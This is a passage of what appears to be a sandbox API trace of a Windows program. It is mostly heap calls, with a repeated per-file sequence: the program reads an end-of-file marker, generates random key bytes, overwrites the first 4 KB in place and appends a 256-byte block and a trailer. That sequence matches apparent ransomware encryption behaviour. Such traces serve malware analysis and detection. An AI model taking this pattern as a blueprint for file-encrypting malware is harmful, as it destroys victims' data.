lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.326] GetProcessHeap () returned 0x540000 [0084.326] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.326] GetProcessHeap () returned 0x540000 [0084.326] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.326] GetProcessHeap () returned 0x540000 [0084.326] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.326] GetProcessHeap () returned 0x540000 [0084.326] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.326] GetProcessHeap () returned 0x540000 [0084.326] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.326] GetProcessHeap () returned 0x540000 [0084.326] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.326] GetProcessHeap () returned 0x540000 [0084.326] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.326] GetProcessHeap () returned 0x540000 [0084.326] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.326] GetProcessHeap () returned 0x540000 [0084.326] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0084.326] GetProcessHeap () returned 0x540000 [0084.326] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.326] GetProcessHeap () returned 0x540000 [0084.326] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0084.326] GetProcessHeap () returned 0x540000 [0084.326] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0084.326] GetProcessHeap () returned 0x540000 [0084.327] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0084.327] GetProcessHeap () returned 0x540000 [0084.327] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0084.327] GetProcessHeap () returned 0x540000 [0084.327] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0084.327] GetProcessHeap () returned 0x540000 [0084.327] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0084.327] GetProcessHeap () returned 0x540000 [0084.327] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.327] GetProcessHeap () returned 0x540000 [0084.327] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0084.327] GetProcessHeap () returned 0x540000 [0084.327] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.327] GetProcessHeap () returned 0x540000 [0084.327] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.327] GetProcessHeap () returned 0x540000 [0084.327] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.327] GetProcessHeap () returned 0x540000 [0084.327] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.327] GetProcessHeap () returned 0x540000 [0084.327] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.327] GetProcessHeap () returned 0x540000 [0084.327] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.327] GetProcessHeap () returned 0x540000 [0084.327] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.327] GetProcessHeap () returned 0x540000 [0084.327] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.327] GetProcessHeap () returned 0x540000 [0084.327] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.327] GetProcessHeap () returned 0x540000 [0084.327] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.328] GetProcessHeap () returned 0x540000 [0084.328] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.328] GetProcessHeap () returned 0x540000 [0084.328] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.328] GetProcessHeap () returned 0x540000 [0084.328] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.328] GetProcessHeap () returned 0x540000 [0084.328] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.328] GetProcessHeap () returned 0x540000 [0084.328] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.328] GetProcessHeap () returned 0x540000 [0084.328] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.328] GetProcessHeap () returned 0x540000 [0084.328] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.328] GetProcessHeap () returned 0x540000 [0084.328] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.328] GetProcessHeap () returned 0x540000 [0084.328] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.328] GetProcessHeap () returned 0x540000 [0084.328] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.328] GetProcessHeap () returned 0x540000 [0084.328] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.328] GetProcessHeap () returned 0x540000 [0084.328] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.328] GetProcessHeap () returned 0x540000 [0084.328] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.328] GetProcessHeap () returned 0x540000 [0084.328] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.328] GetProcessHeap () returned 0x540000 [0084.328] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0084.329] GetProcessHeap () returned 0x540000 [0084.329] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.329] GetProcessHeap () returned 0x540000 [0084.329] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0084.329] GetProcessHeap () returned 0x540000 [0084.329] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0084.329] GetProcessHeap () returned 0x540000 [0084.329] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.329] GetProcessHeap () returned 0x540000 [0084.329] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0084.329] SetFilePointerEx (in: hFile=0x878, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.329] WriteFile (in: hFile=0x878, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0084.329] WriteFile (in: hFile=0x878, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0084.329] GetProcessHeap () returned 0x540000 [0084.329] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0084.329] GetProcessHeap () returned 0x540000 [0084.329] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0084.329] GetProcessHeap () returned 0x540000 [0084.329] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0084.329] CloseHandle (hObject=0x878) returned 1 [0084.331] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 64 [0084.331] SetFilePointerEx (in: hFile=0x87c, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.331] ReadFile (in: hFile=0x87c, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0084.331] SetFilePointerEx (in: hFile=0x87c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.331] GetProcessHeap () returned 0x540000 [0084.331] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0084.331] GetProcessHeap () returned 0x540000 [0084.331] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0084.331] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0084.331] GetProcessHeap () returned 0x540000 [0084.331] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0084.331] ReadFile (in: hFile=0x87c, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0084.379] SetFilePointerEx (in: hFile=0x87c, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.380] WriteFile (in: hFile=0x87c, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0084.380] GetProcessHeap () returned 0x540000 [0084.380] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0084.380] GetProcessHeap () returned 0x540000 [0084.380] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.380] GetProcessHeap () returned 0x540000 [0084.380] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0084.380] GetProcessHeap () returned 0x540000 [0084.380] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.380] GetProcessHeap () returned 0x540000 [0084.380] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0084.380] GetProcessHeap () returned 0x540000 [0084.380] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.380] GetProcessHeap () returned 0x540000 [0084.380] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.380] GetProcessHeap () returned 0x540000 [0084.380] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.380] GetProcessHeap () returned 0x540000 [0084.380] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.380] GetProcessHeap () returned 0x540000 [0084.380] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.380] GetProcessHeap () returned 0x540000 [0084.380] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.380] GetProcessHeap () returned 0x540000 [0084.380] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.380] GetProcessHeap () returned 0x540000 [0084.380] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.380] GetProcessHeap () returned 0x540000 [0084.380] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.380] GetProcessHeap () returned 0x540000 [0084.380] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.380] GetProcessHeap () returned 0x540000 [0084.381] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.381] GetProcessHeap () returned 0x540000 [0084.381] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.381] GetProcessHeap () returned 0x540000 [0084.381] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.381] GetProcessHeap () returned 0x540000 [0084.381] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.381] GetProcessHeap () returned 0x540000 [0084.381] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.381] GetProcessHeap () returned 0x540000 [0084.381] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.381] GetProcessHeap () returned 0x540000 [0084.381] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.381] GetProcessHeap () returned 0x540000 [0084.381] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.381] GetProcessHeap () returned 0x540000 [0084.381] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.381] GetProcessHeap () returned 0x540000 [0084.381] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.381] GetProcessHeap () returned 0x540000 [0084.381] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.381] GetProcessHeap () returned 0x540000 [0084.381] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.381] GetProcessHeap () returned 0x540000 [0084.381] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.381] GetProcessHeap () returned 0x540000 [0084.381] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.381] GetProcessHeap () returned 0x540000 [0084.381] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.381] GetProcessHeap () returned 0x540000 [0084.381] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.381] GetProcessHeap () returned 0x540000 [0084.381] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.381] GetProcessHeap () returned 0x540000 [0084.381] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.381] GetProcessHeap () returned 0x540000 [0084.381] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.381] GetProcessHeap () returned 0x540000 [0084.381] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.381] GetProcessHeap () returned 0x540000 [0084.381] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.382] GetProcessHeap () returned 0x540000 [0084.382] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.382] GetProcessHeap () returned 0x540000 [0084.382] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.382] GetProcessHeap () returned 0x540000 [0084.382] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0084.382] GetProcessHeap () returned 0x540000 [0084.382] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.382] GetProcessHeap () returned 0x540000 [0084.382] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0084.382] GetProcessHeap () returned 0x540000 [0084.382] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0084.382] GetProcessHeap () returned 0x540000 [0084.382] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0084.382] GetProcessHeap () returned 0x540000 [0084.382] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0084.382] GetProcessHeap () returned 0x540000 [0084.382] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0084.382] GetProcessHeap () returned 0x540000 [0084.382] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0084.382] GetProcessHeap () returned 0x540000 [0084.382] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.382] GetProcessHeap () returned 0x540000 [0084.382] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0084.382] GetProcessHeap () returned 0x540000 [0084.382] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.382] GetProcessHeap () returned 0x540000 [0084.382] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.382] GetProcessHeap () returned 0x540000 [0084.382] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.382] GetProcessHeap () returned 0x540000 [0084.382] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.382] GetProcessHeap () returned 0x540000 [0084.382] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.383] GetProcessHeap () returned 0x540000 [0084.383] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.383] GetProcessHeap () returned 0x540000 [0084.383] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.383] GetProcessHeap () returned 0x540000 [0084.383] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.383] GetProcessHeap () returned 0x540000 [0084.383] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.383] GetProcessHeap () returned 0x540000 [0084.383] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.383] GetProcessHeap () returned 0x540000 [0084.383] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.383] GetProcessHeap () returned 0x540000 [0084.383] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.383] GetProcessHeap () returned 0x540000 [0084.383] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.383] GetProcessHeap () returned 0x540000 [0084.383] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.383] GetProcessHeap () returned 0x540000 [0084.383] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.383] GetProcessHeap () returned 0x540000 [0084.383] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.383] GetProcessHeap () returned 0x540000 [0084.383] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.383] GetProcessHeap () returned 0x540000 [0084.383] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.383] GetProcessHeap () returned 0x540000 [0084.383] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.383] GetProcessHeap () returned 0x540000 [0084.383] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.384] GetProcessHeap () returned 0x540000 [0084.384] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.384] GetProcessHeap () returned 0x540000 [0084.384] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.384] GetProcessHeap () returned 0x540000 [0084.384] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.384] GetProcessHeap () returned 0x540000 [0084.384] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.384] GetProcessHeap () returned 0x540000 [0084.384] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0084.384] GetProcessHeap () returned 0x540000 [0084.384] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.384] GetProcessHeap () returned 0x540000 [0084.384] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0084.384] GetProcessHeap () returned 0x540000 [0084.384] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0084.384] GetProcessHeap () returned 0x540000 [0084.384] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.384] GetProcessHeap () returned 0x540000 [0084.384] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0084.384] SetFilePointerEx (in: hFile=0x87c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.384] WriteFile (in: hFile=0x87c, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0084.384] WriteFile (in: hFile=0x87c, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0084.384] GetProcessHeap () returned 0x540000 [0084.384] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0084.384] GetProcessHeap () returned 0x540000 [0084.384] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0084.385] GetProcessHeap () returned 0x540000 [0084.385] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0084.385] CloseHandle (hObject=0x87c) returned 1 [0084.386] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 65 [0084.386] SetFilePointerEx (in: hFile=0x880, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.386] ReadFile (in: hFile=0x880, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0084.386] SetFilePointerEx (in: hFile=0x880, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.386] GetProcessHeap () returned 0x540000 [0084.386] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0084.386] GetProcessHeap () returned 0x540000 [0084.386] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0084.386] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0084.386] GetProcessHeap () returned 0x540000 [0084.386] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0084.386] ReadFile (in: hFile=0x880, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0084.434] SetFilePointerEx (in: hFile=0x880, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.434] WriteFile (in: hFile=0x880, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0084.435] GetProcessHeap () returned 0x540000 [0084.435] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0084.435] GetProcessHeap () returned 0x540000 [0084.435] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.435] GetProcessHeap () returned 0x540000 [0084.435] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0084.435] GetProcessHeap () returned 0x540000 [0084.435] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.435] GetProcessHeap () returned 0x540000 [0084.435] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0084.435] GetProcessHeap () returned 0x540000 [0084.435] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.435] GetProcessHeap () returned 0x540000 [0084.435] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.435] GetProcessHeap () returned 0x540000 [0084.435] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.435] GetProcessHeap () returned 0x540000 [0084.435] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.435] GetProcessHeap () returned 0x540000 [0084.435] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.435] GetProcessHeap () returned 0x540000 [0084.435] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.435] GetProcessHeap () returned 0x540000 [0084.435] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.435] GetProcessHeap () returned 0x540000 [0084.435] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.435] GetProcessHeap () returned 0x540000 [0084.435] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: 